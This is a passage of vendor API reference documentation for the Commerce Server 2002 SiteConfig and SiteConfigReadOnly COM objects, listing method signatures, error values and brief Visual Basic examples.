[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This method is the complement of the ExportResource method. It consumes the file that ExportResource creates.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyFileName is a string
sMyFileName = "C:\ExportedFile.txt"
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ImportResource(sMyFileName)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::Initialize Method [C++]

SiteConfig.Initialize Method [Visual Basic]

Use this method to load the site configuration from the Administration database.

Definition

[C++]
HRESULT _SiteConfig::Initialize(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

If the caller is not a member of the COM+ Administrator role, but is in the Web Users role, then a reduced recordset is populated by the Initialize method. This reduced recordset contains only information on the MSCS_Address resources, also known as IIS applications. The SaveConfig function will only save this reduced recordset data.

[Visual Basic]

Example

' sMySiteName is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.Initialize(sMySiteName)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeArrayFromSimpleList Method [C++]

SiteConfig.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] An IDispatch interface pointer to the SimpleList object that you want to convert into an Array.
list [Visual Basic]
An object reference to the SimpleList object that you want to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfig is a Commerce SiteConfig object
vMyVariant = oSiteConfig.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeArrayFromString Method [C++]

SiteConfig.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string
read from the Fields property
' vArray is a Variant
' oSiteConfig is a Commerce SiteConfig object
vArray = oSiteConfig.MakeArrayFromString(vEncoded)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeSimpleListFromArray Method [C++]

SiteConfig.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _SiteConfig::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the SimpleList object to convert.
iSimpleList [C++]
[out, retval] The address of an IDispatch interface pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfig is a Commerce SiteConfig object
varMySimpleList = oSiteConfig.MakeSimpleListFromArray(vMyArray)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeStringFromArray Method [C++]

SiteConfig.MakeStringFromArray Method [Visual Basic]

Use this method to convert an Array object into an encoded string that can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a VARIANT used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtEncodedString parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Microsoft Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
' oSiteConfig is a Commerce SiteConfig object
vEncoded = oSiteConfig.MakeStringFromArray(vArray)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeStringFromSimpleList Method [C++]

SiteConfig.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string that can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] A pointer to a BSTR used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The strEncodedString parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfig is a Commerce SiteConfig object
vEncoded = oSiteConfig.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::PutSQLScript Method [C++]

SiteConfig.PutSQLScript Method [Visual Basic]

Use this method to put the specified SQL script file into the Administration database.

Definition

[C++]
HRESULT _SiteConfig::PutSQLScript(
  BSTR sResource,
  BSTR sScriptName,
  BSTR sScriptContents
);
[Visual Basic]
Sub PutSQLScript(
  sResource As String,
  sScriptName As String,
  sScriptContents As String
)

Parameters

sResource [C++]
[in] A BSTR that contains the name of the resource associated with the SQL script file.
sResource [Visual Basic]
A String that contains the name of the resource associated with the SQL script file.
sScriptName [C++]
[in] A BSTR that contains the name of the SQL script file.
sScriptName [Visual Basic]
A String that contains the name of the SQL script file.
sScriptContents [C++]
[in] A BSTR that contains the SQL script file contents.
sScriptContents [Visual Basic]
A String that contains the SQL script file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySQLFileName.sql, sMyRes and sMyContents are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.PutSQLScript(sMyRes, "sMySQLFileName.sql" ,sMyContents )

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::SaveConfig Method [C++]

SiteConfig.SaveConfig Method [Visual Basic]

Use this method to save any site configuration settings that have been changed or updated.

Definition

[C++]
HRESULT _SiteConfig::SaveConfig(
);
[Visual Basic]
Sub SaveConfig()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

If the caller is not a member of the COM+ Administrator role, but is in the Web Users role, then a reduced recordset is populated by the Initialize method. This reduced recordset contains only information on the MSCS_Address resources, also known as IIS applications. The SaveConfig function will only save this reduced recordset data.

The Initialize method must be called before this method can be used.

This method saves the entire configuration for a site. If two users are trying to update different parts of the site configuration at the same time, the last one to save will overwrite the changes made by the first user updating the site configuration.

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig Properties [C++]

SiteConfig Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.


_SiteConfig::get_Fields Property [C++]

SiteConfig.Fields Property [Visual Basic]

The Fields property is a read/write Fields object. The Fields object contents include recordsets that hold the configuration settings of resources. A Fields object is an ADO disconnected recordset.

Definition

[C++]
HRESULT _SiteConfig::get_Fields(
  Fields** Fields
);
[Visual Basic]
Property Fields As Object

Parameters

Fields [C++]
[out] The address into which this method writes the pointer to the Fields object used to return resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The Fields parameter contains valid data only if the method completes successfully.

You update the data in the Fields object to change your configuration information. You then call SaveConfig to commit those changes back to the database.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


SiteConfigReadOnly Object [C++]

SiteConfigReadOnly Object [Visual Basic]

Use this object to load site configuration information from the Administration database.

ProgID: | Commerce.SiteConfigReadOnly (Externally creatable)
COM Class Name: | SiteConfigReadOnly
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SiteConfigReadOnly
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _SiteConfigReadOnly interface to access the properties and methods of the SiteConfigReadOnly object.

Methods

[C++]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
[Visual Basic]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.

Remarks

The SiteConfigReadOnly object allows access to more configuration data than does the SiteConfig object. With the SiteConfigReadOnly object, group resource values are returned when you access references to resources. In contrast, with the SiteConfig object, only references to the names of the resources are returned.

Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

See Also

Configuration Objects

Integrating Cutom Resources

[C++] GlobalConfig Object

[C++] SiteConfig Object

[Visual Basic] GlobalConfigObject

[Visual Basic] SiteConfig Object


_SiteConfigReadOnly Methods [C++]

SiteConfigReadOnly Methods [Visual Basic]

Methods

[C++]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
[Visual Basic]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.


_SiteConfigReadOnly::GetAppsInSite Method [C++]

SiteConfigReadOnly.GetAppsInSite Method [Visual Basic]

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[C++]
HRESULT _SiteConfig::GetAppsInSite(
  BSTR* strSiteName,
  VARIANT* vtAppNames
);
[Visual Basic]
Function GetAppsInSite(
  strSiteName As String
) As Variant

Parameters

strSiteName [C++]
[in] A pointer to the BSTR that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.
strSiteName [Visual Basic]
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
vtAppNames [C++]
[out, retval] A pointer to a VARIANT used to return the list of Commerce Server 2002 applications.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the list of Commerce Server 2002 applications.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++]

The vtAppNames parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is a String
' vVariant is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vVariant = oSiteConfigReadOnly.GetAppsInSite(sMySiteName)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::GetIfCollection Method [C++]

SiteConfigReadOnly.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into the appropriate object such as a SimpleList object or Variant Array.

Definition

[C++]
HRESULT _SiteConfig::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The retVal parameter points to valid data only if the method completes successfully.

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vVariant = oSiteConfigReadOnly.GetIfCollection(vEncodedString)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::Initialize Method [C++]

SiteConfigReadOnly.Initialize Method [Visual Basic]

Use this method to load the site configuration from the Administration database.

Definition

[C++]
HRESULT _SiteConfigReadOnly::Initialize(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before the other methods in this object can be called.

On Developer Edition installations, code will be run to ensure that the maximum number of connections for an IIS Web site that host a Commerce Server 2002 application is not greater than 5.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is a string
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oSiteConfigReadOnly.Initialize(sMySiteName)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeArrayFromSimpleList Method [C++]

SiteConfigReadOnly.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] A IDispatch interface pointer to the SimpleList object that you want to convert into an Array.
list [Visual Basic]
The object reference to the SimpleList object that you wish to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The vtArray parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vMyVariant = oSiteConfigReadOnly.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeArrayFromString Method [C++]

SiteConfigReadOnly.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

